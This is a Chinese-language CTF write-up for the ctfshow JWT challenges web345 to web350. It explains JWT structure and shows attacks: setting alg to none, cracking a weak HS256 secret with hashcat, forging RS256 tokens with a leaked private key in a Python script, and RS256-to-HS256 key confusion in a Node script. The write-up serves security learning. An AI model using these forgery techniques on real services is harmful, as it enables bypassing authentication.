ctfshow web jwt!!!

不在乎比恨更高级欸

 什么是jwt???

JSON Web Token(JSON Web令牌)是一个开放标准(rfc7519),它定义了一种紧凑的、自包含的方式,用于在各方之间以JSON对象安全地传输信息。此信息可以验证和信任,因为它是数字签名的。jwt可以使用秘密〈使用HNAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名,通过JSON形式作为Web应用中的令牌,用于在各方之间安全地将信息作为JSON对象传输。在数据传输过程中还可以完成数据加密、签名等相关处理。

 一般用于用户认证(前后分离/微信小程序/app开发)。

虽然可以对 JWT 进行加密,以便在各方之间提供保密性,但是我们将关注已签名的Token。签名Token可以验证其中包含的声明的完整性,而加密Token可以向其他方隐藏这些声明。当使用公钥/私钥对对令牌进行签名时,该签名还证明只有持有私钥的一方才是对其进行签名的一方( 签名技术是保证传输的信息不被篡改,并不能保证信息传输的安全 )。 

jwt结构: 

在其紧凑的形式中,JWT由以点(.)分隔的三个部分组成,它们是:

  • 标头(Header)
  • 有效载荷(Payload)
  • 签名(Signature)

token格式: 如:xxxxx.yyyy.zzzz

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MTE0Mzc2NDAsImV4cCI6MTcxMTQ0NDg0MCwibmJmIjoxNzExNDM3NjQwLCJzdWIiOiJ1c2VyIiwianRpIjoiNGQzMjYxMmYwMmU2MDc1YjE3MThmMTIyZjBhNTBhOGEifV0

然后用一个网站解码:

Header:有令牌的类型和所使用的签名算法,如HMAC、SHA256、RSA;使用Base64编码组成;

{
"alg":"Hs256",none #默认alg是未加密的,加上none后不加密
"typ":"JwT"
}

Payload :有效负载,包含声明;声明是有关实体(通常是用户)和其他数据的声明,不放用户敏感的信息,如密码。同样使用Base64编码 ,这些有效信息包含三个部分

  • 标准中注册的声明

  • 公共的声明

  • 私有的声明

  • 标准中注册的声明(建议但不强制使用):

    iss:jwt签发者
    sub:jwt所面向的用户
    aud:接收jwt的一方
    exp:jwt的过期时间,这个过期时间必须要大于签发时间
    nbf:定义在什么时间之前,该jwt都是不可用的.
    iat:jwt的签发时间
    jti:jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

web345

查看源码后

抓包看看,发现了jwt

  解密:

可以发现alg是None算法,无签名认证

我可以继续再JWT.io里构造JWT

将sub改为admin再加密。

把alg改为HS256,sub为admin

取到1d.   然后在发送,

web346

法一:

直接访问/admin/发现访问不了

访问/ 发现了JWT

解一下

发现alg为HS256加密算法,但是我们可以把改为none,把sub改为admin。

然后发送

法二:用jwtcrack爆破

web347

提示弱口令,开爆!!!!

hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxMTQ0NTQ5MCwiZXhwIjoxNzExNDUyNjkwLCJuYmYiOjE3MTE0NDU0OTAsInN1YiI6InVzZXIiLCJqdGkiOiJmZDJhYWJiODI5NzkwOGQ2NThlY2NkMGZiMzVmMDEwYSJ9.Au9Gjx4WjL8OXAorx6SUNS4fvWeUfVhrIV8UPOa9RDI  ../jwt.secrets.list

再把sub改为admin 密钥输入123456。

web348

题目说要爆破!!!

web349 

看见一个js

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

GET部分

 当用户访问主页时,服务器读取当前工作目录下的public/private.key私钥文件,使用该私钥对用户信息(这里仅为user: 'user')进行加密签名生成JWT令牌,并将这个令牌作为名为auth的cookie设置在响应中。最后返回提示信息"where is flag?"。

POST:

当用户向主页发起POST请求时,服务器首先获取客户端发送过来的请求头中的auth cookie值,然后读取public/public.key公钥文件用于解密验证JWT令牌。如果解密后得到的用户信息为admin,则返回隐藏的flag内容;否则返回提示信息"you are not admin",表示用户无权访问此标志。 

访问呢一下得到了公钥和私钥。

 

服务器利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己重新生成就可以

上脚本!!!

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

 

post提交就好了

web350

给了一个源码,

我们发现了公钥key,

参考JWT漏洞(ctfshow345-350)_yii 使用jwt key泄漏-CSDN博客,用这个网站

https://lightly.teamcode.com运行脚本

var jwt = require('jsonwebtoken');

var fs = require('fs');

var privateKey = fs.readFileSync('./public.key');

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });

console.log(token)

 然后上传!!!

这里我们用到将RS256算法改为HS256(非对称密码算法=>对称密码算法)

 

HS256算法使用密钥为所有消息进行签名和验证。

        而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

        由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

        这样的话,后端代码使用RSA公钥+HS256算法进行签名验证

  • 9
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值